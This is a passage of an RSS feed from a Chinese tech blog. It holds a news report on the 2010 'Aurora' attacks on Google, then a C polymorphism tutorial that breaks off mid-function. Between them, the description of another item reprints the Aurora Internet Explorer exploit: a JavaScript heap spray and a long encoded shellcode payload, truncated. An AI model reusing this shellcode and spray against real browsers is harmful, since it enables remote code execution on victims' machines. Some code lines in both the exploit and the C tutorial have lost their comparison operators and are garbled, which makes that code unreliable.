&lt;p&gt;　　虽然最初的攻击始自公司雇员访问恶意网站，但是研究人员还在试图确定网站的URL是通过邮件、聊天程序还是其他方式，比如Facebook或者其他社会化网站。&lt;/p&gt;
&lt;p&gt;　　当用户访问恶意网站的时候，他们的IE浏览器将被袭击，自动而且秘密地下载一系列恶意代码到计算机中。这些代码就像俄罗斯套娃那样，一个跟着一个地下载到系统中。&lt;/p&gt;
&lt;p&gt;　　Alperovitch表示，最初的攻击代码是经过三次加密的shell code，用来激活漏洞挖掘程序。然后它执行从外部机器下载的程序，后者也是加密的，而且会从被攻击机器上删除第一个程序。这些加密的二进制文件将自己打包为几个也被加密的可执行文件。&lt;/p&gt;
&lt;p&gt;　　其中一个恶意程序会打开一个远程后门，建立一个加密的秘密通道，伪装为一个SSL链接以避免被侦测到。这样攻击者就可以对被攻击机器进行访问，将它作为滩头阵地，继续进攻网络上的其他部分，搜索登录凭据、知识产权和其他要找的东西。&lt;/p&gt;
&lt;p&gt;　　McAfee因参与攻击调查，从被攻击公司那里得到了攻击所用的一些恶意代码副本，并在几天前加强了自己的产品。&lt;/p&gt;
&lt;p&gt;　　对于另一家安全企业iDefense之前所说的有些攻击使用了Trojan.Hydraq木马，Alperovitch表示，他发现的恶意代码此前任何反病毒厂商都不知道。&lt;/p&gt;
&lt;p&gt;　　iDefense还说攻击者使用了恶意PDF附件和Adobe PDF程序的漏洞，而Alperovitch说，他调查的公司里没有发现这种情况。但他表示攻击不同公司的方法可能不同，不限于IE漏洞。&lt;/p&gt;
&lt;p&gt;　　当黑客进入系统后，他们将数据发送给位于美国伊利诺依州和得克萨斯州以及中国台湾的指挥控制服务器。Alperovitch所没有识别到美国的系统牵涉到这次攻击，也没有提到攻击者的战果。但Rackspace报告他们无意中在攻击中发挥了少量作用。而iDefense则表示攻击者的目标是许多公司的源码库，而且很多情况下都成功得手。&lt;/p&gt;
&lt;p&gt;　　Alperovitch说攻击看上去是从12月15日开始的，但也有可能更早。似乎结束于1月4日，那一天，用来与恶意代码传输数据的指挥控制服务器被关闭。&lt;/p&gt;
&lt;p&gt;　　他说：我们不知道服务器是由攻击者关闭的，还是其他组织关闭的。但是从那时起，攻击停止了。&lt;/p&gt;
&lt;p&gt;　　Aperovitch还指出，攻击的时机非常好，是在假日期间，公司的运营中心和安全响应团队人手很少。攻击的复杂程度令人印象深刻，是那种此前仅针对国防工业的攻击类型。一般对于商业部门，攻击只是为了获取财务方面的信息，通常是通过SQL注入攻击公司的网站，或者攻击公司不安全的无线网络。网络罪犯一般不会花大量的时间把攻击精雕细刻到如此程度，每个方面都采取混淆/加密防范。&lt;/p&gt;
&lt;p&gt;　　McAfee还掌握了更多攻击细节，但目前不准备公布。他们已经与美国执法部门合作，并将这一问题告知美国各级政府。&lt;/p&gt;
&lt;p&gt;　　对于Google可能退出中国声明中提到的此前所受到的攻击，安全技术界给出了各种解释。&lt;/p&gt;
&lt;p&gt;　　VeriSign公司的iDefens实验室的安全分析师发布了一份媒体公告，称黑客攻击了主要的源代码库。&lt;/p&gt;
&lt;p&gt;　　VeriSign说超过30家技术公司遭到了一系列攻击，这有可能始于七月份的一种类型相近的攻击，这一攻击通过包含恶意PDF文件的电子邮件信息攻击了100个IT公司。金融和防御机构也有可能遭到了攻击。&lt;/p&gt;
&lt;p&gt;　　VeriSign iDefense在其公告中称：据熟悉这种攻击的人员透漏，攻击者采取了传播针对Google的恶意代码的方式和使用PDF作为电邮附件的攻击方式；这些文件的特征和去年7月份一次攻击的特征很相似。这两起攻击中，恶意文件都在Windows DLL中安插了一个后门木马。&lt;/p&gt;
&lt;p&gt;　　VeriSign说这两起攻击使用了相似的IP地址，并使用了相同的命令和控制结构。这些IP地址都属于Linode（一家美国的虚拟私有服务器主机供应商）所有。&lt;/p&gt;
&lt;p&gt;　　VeriSign说：考虑到它们是如此接近，有可能这两种攻击就是同一种攻击。那些遭到硅谷攻击的组织自七月以来就一直处于威胁之中。&lt;/p&gt;
&lt;p&gt;　　类似的分析在《MIT技术评论》的这篇文章中有比较全面的介绍。&lt;/p&gt;
&lt;p&gt;　　而McAfee CTO George Kurtz（也是《黑客大曝光》一书的作者之一）则明确不同意这种观点，他在博客中称，Google所受攻击应该源于一种新的此前不大为人所知的IE漏洞。McAfee已经向微软通报了此漏洞，预计不久微软将提供相关建议。他表示，攻击主要针对某些能够访问重要知识产权的特定人员，攻击者向他们发送像是来自一个信任来源的链接或者附件，诱使目标点击，不知不觉中下载和安装恶意软件，为攻击者打开后门，进入所属公司的网络。&lt;/p&gt;
&lt;p&gt;　　Kurtz将这种攻击命名为Aurora（极光）。他在文中还说到，安全威胁已经进入了一个新时代，类似的攻击只是冰山之一角。与之前常见的影响广泛的病毒如红色代码不同，这种攻击需要复杂而精巧的社交工程配合，一般目标极为明确，往往指向有利可图或者机密的知识产权。&lt;/p&gt;
&lt;p&gt;　　【更新】&lt;/p&gt;
&lt;p&gt;　　微软已经在自己的网站发布了一个关于Kurtz所述IE漏洞的安全建议，其中指出，漏洞是IE中的一个无效指针引用。在一些情况下，这个指针可能在对象删除之后仍然能够访问。在精心设计的攻击中，通过试图访问已被释放的对象，IE可以被用来允许远程代码的执行。&lt;/p&gt;
&lt;p&gt;　　微软表示，该漏洞将影响Windows各版本上的IE 6到IE 8浏览器。只有较老的IE 5.01 SP4不受影响。如果怀疑自己的电脑已经受到这一漏洞的影响，可以访问&lt;a href=&quot;https://consumersecuritysupport.microsoft.com/default.aspx?mkt=en-usscrx=1&quot; target=&quot;_blank&quot;&gt;https://consumersecuritysupport.microsoft.com/default.aspx?mkt=en-usscrx=1&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;　　微软公司已经承诺尽快推出补丁。&lt;/p&gt;
&lt;p&gt;　　McAfee的威胁研究副总裁Dmitri Alperovitch表示，这种攻击非常复杂，此前往往针对的是政府和国防部门，应该不是业余者所为。McAfee之所以将这种攻击称为Aurora（极光），是因为该恶意代码的二进制文件路径名是这个单词。相信这是攻击者自己为这种攻击所起的名字。&lt;/p&gt;
&lt;p&gt;　　另据IOActive公司渗透测试总监Dan Kaminsky说，Windows XP及以上版本的DEP（数据执行保护）功能有助于防范此类攻击。另外，虽然Google所受攻击用到的恶意代码只影响IE 6，但这个漏洞仍然可以用来攻击更高版本。不过，Windows Vista和Windows 7采用了ASLR（地址空间布局随机化，address space layout randomization）的保护技术，大大增加了攻击的难度。&lt;/p&gt;
&lt;p&gt;　　【1月15日20:17更新】&lt;/p&gt;
&lt;p&gt;　　《华尔街日报》文章说：据了解（对Google）攻击的知情人士透露，黑客试图通过六个台湾的网络地址来掩饰自己的身份，这是中国大陆黑客的惯常策略。&lt;/p&gt;
&lt;p&gt;　　六个地址中，有五个为提供网络电视电影的年代数位媒体股份有限公司(Era Digital Media Co.)所有。该公司表示对攻击并不知情，并拒绝发表更多评论。第六个地址为金融软件提供商奇唯科技股份有限公司所有。奇唯表示，已于6月份弃用相关地址。&lt;/p&gt;
&lt;p&gt;　　台湾内政部警政署科技犯罪防制中心主任李相臣表示，两家公司本身可能都是受害者。&lt;/p&gt;
&lt;p&gt;　　【1月16日5:15更新】&lt;/p&gt;
&lt;p&gt;　　读写网报道，在影响Google安全的IE漏洞曝光后，德国政府呼吁不要使用微软的浏览器。因为其他黑客也会利用这一漏洞。&lt;/p&gt;
&lt;p&gt;　　纽约时报报道，Google受到的攻击可能牵涉到的其他著名公司又增加了国防工业的Northrop Grumman和知名安全厂商Symantec。&lt;/p&gt;
&lt;p&gt;文章地址:&lt;span id=&quot;sample-permalink&quot;&gt;&lt;a href=&quot;http://www.nodll.com/2010/01/19/hackergoogle/Pray.html&quot; target=&quot;_blank&quot;&gt;http://www.nodll.com/2010/01/19/&lt;span id=&quot;editable-post-name&quot; title=&quot;点击编辑这部分固定链接&quot;&gt;hackergoogle&lt;/span&gt;/Pray.html&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src=&quot;http://www1.feedsky.com/t1/323288889/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288889/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288889/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288889/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e66a13669739311567972378ac8fb4f&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e66a13669739311567972378ac8fb4f&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=2c23cfba223acb0db02973d1dc74eb5a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=2c23cfba223acb0db02973d1dc74eb5a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=50394dd3a32da8498fdc7f05988b8962&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=50394dd3a32da8498fdc7f05988b8962&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b6392a3a1a5d5c1dbd01b338678d6da7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b6392a3a1a5d5c1dbd01b338678d6da7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d7fec813d43b14d7e5ba3dfd246e5430&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d7fec813d43b14d7e5ba3dfd246e5430&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=ff1b9e5133ffbae4765bee070a8ad551&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=ff1b9e5133ffbae4765bee070a8ad551&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=ba85b71d6ab41f768e1151bead0e0b00&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=ba85b71d6ab41f768e1151bead0e0b00&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=860de9e85991e48e66a11fa98b43427c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=860de9e85991e48e66a11fa98b43427c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f3feb0acd7fc40ae0c593223e3c6fdda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f3feb0acd7fc40ae0c593223e3c6fdda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</content:encoded><wfw:commentRss>http://www.nodll.com/2010/01/19/hackergoogle/Pray.html/feed</wfw:commentRss><slash:comments>11</slash:comments><description>TechWeb旗下的DarkReading发表文章，透露iDefense已经收回之前发布的Adobe PDF漏洞导致Google被攻击的声明，承认McAfee所说的IE漏洞才是祸源。
文章还给出了一个链接，指向开源渗透测试工具项目Metasploit的博客，上面给出了利用这个IE漏洞的攻击代码链接。代码如下：
去混淆后的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Evals
var n = unescape(&amp;#34;%u0c0d%u0c0d&amp;#34;);
while (n.length = 524288)n += n;
n = n.substring(0, 524269 - sc.length);
var x = new Array();
for (var i = 0; i 200; i ++ ){
x[i] = n + sc;
}
(repeated 1 time)
Writes
htmlscriptvar sc = unescape(&amp;#34;
%u9090%u19eb%u4b5b%u3390%u90c9%u7b80%ue901%u0175%u66c3%u7bb9%u8004%u0b34%ue2d8%uebfa%ue805
%uffe2%uffff%u3931%ud8db%u87d8%u79bc%ud8e8%ud8d8%u9853%u53d4%uc4a8%u5375%ud0b0%u2f53%ud7b2
%u3081%udb59%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0%ubdab%u8caa%u9e53%u30d4%uda37%ud8d8%u3053
%ud9b2%u3081%udbb9%ud8d8%u213a%ub7b0%ud8b6%ub0d8%uaaad%ub5b4%u538c%ud49e%u0830%ud8da%u53d8
%ub230%u81d9%u9a30%ud8db%u3ad8%ub021%uebb4%ud8ea%uabb0%ubdb0%u8cb4%u9e53%u30d4%uda69%ud8d8
%u3053%ud9b2%u3081%udbfb%ud8d8%u213a%u3459%ud9d8%ud8d8%u0453%u1b59%ud858%ud8d8%ud8b2%uc2b2
%ub28b%u27d8%u9c8e%u18eb%u5898%udbe4%uadd8%u5121%u485e%ud8d8%u1fd8%udbdc%ub984%ubdf6%u9c1f
%udcdb%ubda0%ud8d8%u11eb%u8989%u8f8b%ueb89%u5318%u989e%u8630%ud8da%u5bd8%ud820%u5dd7%ud9a7
%ud8d8%ud8b2%ud8b2%udbb2%ud8b2%udab2%ud8b0%ud8d8%u8b18%u9e53%u30fc%udae5%ud8d8%u205b%ud727
%u865c%ud8d9%u51d8%ub89e%ud8b2%u2788%uf08e%u9e51%u53bc%u485e%ud8d8%u1fd8%udbdc%uba84%ubdf6
%u9c1f%udcdb%ubda0%ud8d8%ud8b2%ud8b2%udab2%ud8b2%ud8b2%ud8b0%ud8d8%u8b98%u9e53%u30fc%ud923
%ud8d8%u205b%ud727%uc45c%ud8d9%u51d8%u5c5e%ud8d8%u51d8%u5446%ud8d8%u53d8%ub89e%ud8b2%ud8b2
%ud8b2%u9e53%u88b8%u8e27%u1fe0%ua89e%ud8d8%ud8d8%u9e1f%ud8ac%ud8d8%u59d8%ud81f%ud8da%uebd8
%u5303%ubc86%ud8b2%u9e55%u88a8%ud8b0%ud8dc%u8fd8%uae27%u27b8%udc8e%u11eb%ud861%ud8dc%u58d8
%ud7a4%u4d27%ud4ac%ua458%u27d7%uacd8%u58dd%ud7ac%u4d27%u333a%u1b53%ud8f5%ud8dc%u5bd8%ud820
%udba7%u8651%ub2a8%u55d8%uac9e%u2788%ua8ae%u278f%u5c6e%ud8d8%u27d8%ue88e%u3359%udcd8%ud8d8
%u235b%ua7d8%u277d%ub8ae%u8e27%u27ec%u5c6e%ud8d8%u27d8%uec8e%u5e53%ud848%ud8d8%u4653%ud854
%ud8d8%udc1f%u84db%uf6b9%u8bbd%u8e27%u53f4%u5466%ud8d8%u53d8%u485e%ud8d8%u1fd8%udfdc%uba84
%ubdf6%u3459%ud9d8%ud8d8%u0453%ud8b0%ud8d9%u8bd8%ud8b0%ud8d9%u8fd8%ud8b2%ud8b2%u8e27%u53c4
%ueb23%ueb18%u5903%ud834%ud8da%u53d8%u5b14%u8c20%ud0a5%uc451%u5bd9%udc18%u2b33%u1453%u0153
%u1b5b%uebc8%u8818%u8b89%u8888%u8888%u8888%u888f%u5388%ud09e%u2f30%ud8d8%u53d8%ue4a6%uec30
%ud8d9%u30d8%ud8ef%ud8d8%ubbb0%uafae%ub0d8%ub0ab%ub7bc%u538c%ud49e%u6e30%ud8d8%u51d8%ue49e
%u79bc%ud8dc%ud8d8%u7855%u27b8%u2727%ubdb2%uae27%u53e4%uc89e%u4230%ud8d8%uebd8%u8b03%u8b8b
%u278b%u3008%ud83d%ud8d8%u3459%ud9d8%ud8d8%u2453%u1f5b%u1fdc%ueadf%u49ac%u1fd4%udc9f%u51bb
%u9709%u9f1f%u78d0%u4fbd%u1f13%ud49f%u9889%ua762%u9f1f%ue6c8%u6ec5%u1fe1%ucc9f%ub160%uc30c
%u9f1f%u66c0%ubea7%u1f78%uc49f%u7124%u75ef%u9f1f%u40f8%uc8d2%ubc20%ue879%ud8d8%u53d8%ud498
%ua853%u75c4%ub053%u53d0%u512f%ubc8e%udcb2%u3081%ud87b%ud8d8%u3a48%ub020%ueaeb%ud8d8%u8db0
%ubdab%u8caa%ude53%uca30%ud8d8%u53d8%ub230%u81dd%u5c30%ud8d8%u3ad8%ueb21%u8f27%u8e27%u58dc
%u30e0%ue058%uad31%u59c9%udda0%u4848%u4848%ud0ac%u2753%u538d%u5534%udd98%u3827%ue030%ud8d8
%u1bd8%ue058%u5830%u31e0%uc9ad%ua059%u48dd%u4848%uac48%ub03f%ud2d0%ud8d8%u9855%u27dd%u3038
%ud8cf%ud8d8%u301b%ud8c9%ud8d8%uc960%udcd9%u1a58%ud8d4%uda33%u1b80%u2130%u2727%u8327%udf1e
%u5160%ud987%u1fbe%udd9f%u3827%u8b1b%u0453%ub28b%ub098%uc8d8%ud8d8%u538f%uf89e%u5e30%u2727
%u8027%u891b%u538e%ue4ad%uac53%ua0f6%u2ddb%u538e%uf8ae%u2ddb%u11eb%u9991%udb75%ueb1d%ud703
%uc866%u0ee2%ud0ac%u1319%udbdf%u9802%u2933%uc7e3%u3fad%u5386%ufc86%u05db%u53be%u93d4%u8653
%udbc4%u5305%u53dc%u1ddb%u8673%u1b81%uc230%u2724%u6a27%u3a2a%u6a2c%ud7ee%u28cb%ua390%ueae5
%u49ac%u5dd4%u7707%ubb63%u0951%u8997%u6298%udfa7%ufa4a%uc6a8%ubc7c%u4b37%u3cea%u564c%ud2cb
%ua174%u3ee1%u1c40%uc755%u8fac%ud5be%u9b27%u7466%u4003%uc8d2%u5820%u770e%u2342%ucd8b%ub0be
%uacac%ue2a8%uf7f7%ubdbc%ub7b5%uf6e9%uacbe%ub9a8%ubbbb%uabbd%uf6ab%ubbbb%ubcf7%ub5bd%uf7b7
%ubcb9%ub2f6%ubfa8%u00d8&amp;#34;);
var sss = Array(826, 679, 798, 224, 770, 427, 819, 770, 707, 805, 693, 679, 784, 707, 280,
238, 259, [...]&lt;img src=&quot;http://www1.feedsky.com/t1/323288889/PraysBlog/feedsky/s.gif?r=http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288889/6037734/1/item.html&quot; border=&quot;0&quot; height=&quot;0&quot; width=&quot;0&quot; style=&quot;position:absolute&quot; /&gt;&lt;p class=&quot;fswww1&quot;&gt;&lt;a href=&quot;http://www1.feedsky.com/r/l/feedsky/PraysBlog/323288889/art01.html&quot; target=&quot;_blank&quot;&gt;&lt;img border=&quot;0&quot; ismap=&quot;ismap&quot; src=&quot;http://www1.feedsky.com/r/i/feedsky/PraysBlog/323288889/art01.gif&quot; onerror=&quot;this.style.display='none'&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&lt;p class=&quot;fsflare&quot;&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=9e66a13669739311567972378ac8fb4f&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=9e66a13669739311567972378ac8fb4f&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=2c23cfba223acb0db02973d1dc74eb5a&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=2c23cfba223acb0db02973d1dc74eb5a&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=50394dd3a32da8498fdc7f05988b8962&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=50394dd3a32da8498fdc7f05988b8962&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=b6392a3a1a5d5c1dbd01b338678d6da7&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=b6392a3a1a5d5c1dbd01b338678d6da7&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=d7fec813d43b14d7e5ba3dfd246e5430&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=d7fec813d43b14d7e5ba3dfd246e5430&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=ff1b9e5133ffbae4765bee070a8ad551&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=ff1b9e5133ffbae4765bee070a8ad551&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=ba85b71d6ab41f768e1151bead0e0b00&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=ba85b71d6ab41f768e1151bead0e0b00&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=860de9e85991e48e66a11fa98b43427c&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=860de9e85991e48e66a11fa98b43427c&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;a href=&quot;http://feed.feedsky.com/~flare/PraysBlog?a=f3feb0acd7fc40ae0c593223e3c6fdda&quot; target=&quot;_blank&quot;&gt;&lt;img src=&quot;http://feed.feedsky.com/~flare/PraysBlog?i=f3feb0acd7fc40ae0c593223e3c6fdda&quot; border=&quot;0&quot;&gt;&lt;/a&gt;&lt;/p&gt;</description><category>博客</category><category>Google</category><category>业内新闻</category><category>漏洞</category><category>攻击</category><category>远程</category><category>代码</category><category>IE</category><pubDate>Tue, 19 Jan 2010 02:24:32 +0800</pubDate><author>Pray</author><comments>http://www.nodll.com/2010/01/19/hackergoogle/Pray.html#comments</comments><guid isPermaLink="false">http://www.nodll.com/?p=246</guid><dc:creator>Pray</dc:creator><fs:srclink>http://www.nodll.com/2010/01/19/hackergoogle/Pray.html</fs:srclink><fs:srcfeed>http://www.nodll.com/feed</fs:srcfeed><fs:itemid>feedsky/PraysBlog/~7927926/323288889/6037734</fs:itemid></item><item><title>如何用C语言实现C++的多态的编程技巧</title><link>http://item.feedsky.com/~feedsky/PraysBlog/~7927926/323288906/6037734/1/item.html</link><content:encoded>&lt;p&gt;　　我们先用下面的结构来描述一个对象：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　typedef struct _ClassType 
　　{ 
　　char* name; /*对象名，唯一*/ 
　　int object_size;/*对象大小，创建实列时分配内存要用到*/ 
　　int class_size; /*全部虚函数大小，如sizeof(CObjectClass)*/ 
　　void* vclass; /*虚函数指针*/ 
　　void (*InitClassCallback)(void*); /*给对象的虚函数赋值*/ 
　　void (*InitObjectCallback)(void*);/*对象实例化时，给实例成员赋初值，有点类似构造函数*/ 
　　struct _ClassType* parent; /*父对象*/ 
　　struct _ClassType* next; /*单向链表，指向下一对象*/ 
　　}ClassType; 
　　#define [MAX_CLASS_NUM 128 
　　static ClassType classes[MAX_CLASS_NUM]; /*对象池*/ 
　　static ClassType *used_classes = NULL; 
　　static ClassType *free_classes = NULL;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　这里只定义了128个对象，数目可能修改或者改成动态分配。&lt;br /&gt;
　　初始化，全部链接到空闲链表中&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　void InitObjectLib(void) 
　　{ 
　　int i; 
　　memset(classes, 0, sizeof(ClassType)*MAX_CLASS_NUM); 
　　for( i=0;i  
　　{ 
　　classes[i].next = &amp;amp;(classes[i+1]); 
　　} 
　　free_classes = &amp;amp;(classes[0]); 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　这个函数既是获取对象的虚函数指针，也是注册对象。&lt;br /&gt;
　　这里要注意type为static，一个对象只注册一次，下次获取时直接取type。&lt;br /&gt;
　　RegisterClassType()第一个参数为对象的描述信息，第二个参数为父对象的函数指针，我们来看一下它的定义：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　　#define TOP_OBJECT_TYPE 0 
　　#define BASE_OBJECT_TYPE GetObjectType()&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　因为CObject为基对象，它没有父对象，所以这里第二个参数为0(TOP_OBJECT_TYPE)。&lt;br /&gt;
　　现在假设有一个CObject子对象CSubObject，那么注册它时应该这样写：&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　　type = RegisterClassType(&amp;amp;classinfo, BASE_OBJECT_TYPE);&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　由此可能看到，这里其实是一个递归：当注册CSubOject里会用到参数BASE_OBJECT_TYPE，既GetObjectType()，这样就可以把CObject也注册上。&lt;br /&gt;
　　简单的说：如果C继承于B，B继承于A，现在假设A、B还未注册，当注册C时，通过递归也能把B、A注册上。&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　　int GetObjectType(void) 
　　{ 
　　static int type = 0; 
　　if( type==0 ) 
　　{ 
　　static ClassInfo classinfo = 
　　{ 
　　&amp;quot;OBJECT&amp;quot;, /*对象名，唯一*/ 
　　sizeof(CObject), 
　　sizeof(CObjectClass), 
　　(pInitObjectCallback)InitObject, 
　　(pInitClassCallback)InitObjectClass, 
　　}; 
　　type = RegisterClassType(&amp;amp;classinfo, TOP_OBJECT_TYPE); 
　　} 
　　return type; 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　我们再来看一看InitObject和InitObjectClass&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　static void InitObjectClass(CObjectClass *vclass) 
　　{ 
　　if(vclass==NULL) 
　　return; 
　　vclass-&amp;gt;destory = DestoryObject;/*对虚函数赋值*/ 
　　} 
　　static void InitObject(CObject *object) 
　　{ 
　　if(object==NULL) 
　　return; 
　　object-&amp;gt;ref_counter = 1; 
　　}&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;　　这两个函数在GetObjectType()被传进去，那么又是在哪儿被调用的?&lt;br /&gt;
让我们看RegisterClassType()&lt;/p&gt;

&lt;div class=&quot;wp_syntax&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;line_numbers&quot;&gt;&lt;pre&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
&lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;code&quot;&gt;&lt;pre class=&quot;language&quot; style=&quot;font-family:monospace;&quot;&gt;　int RegisterClassType(ClassInfo *classinfo, int parent_type) 
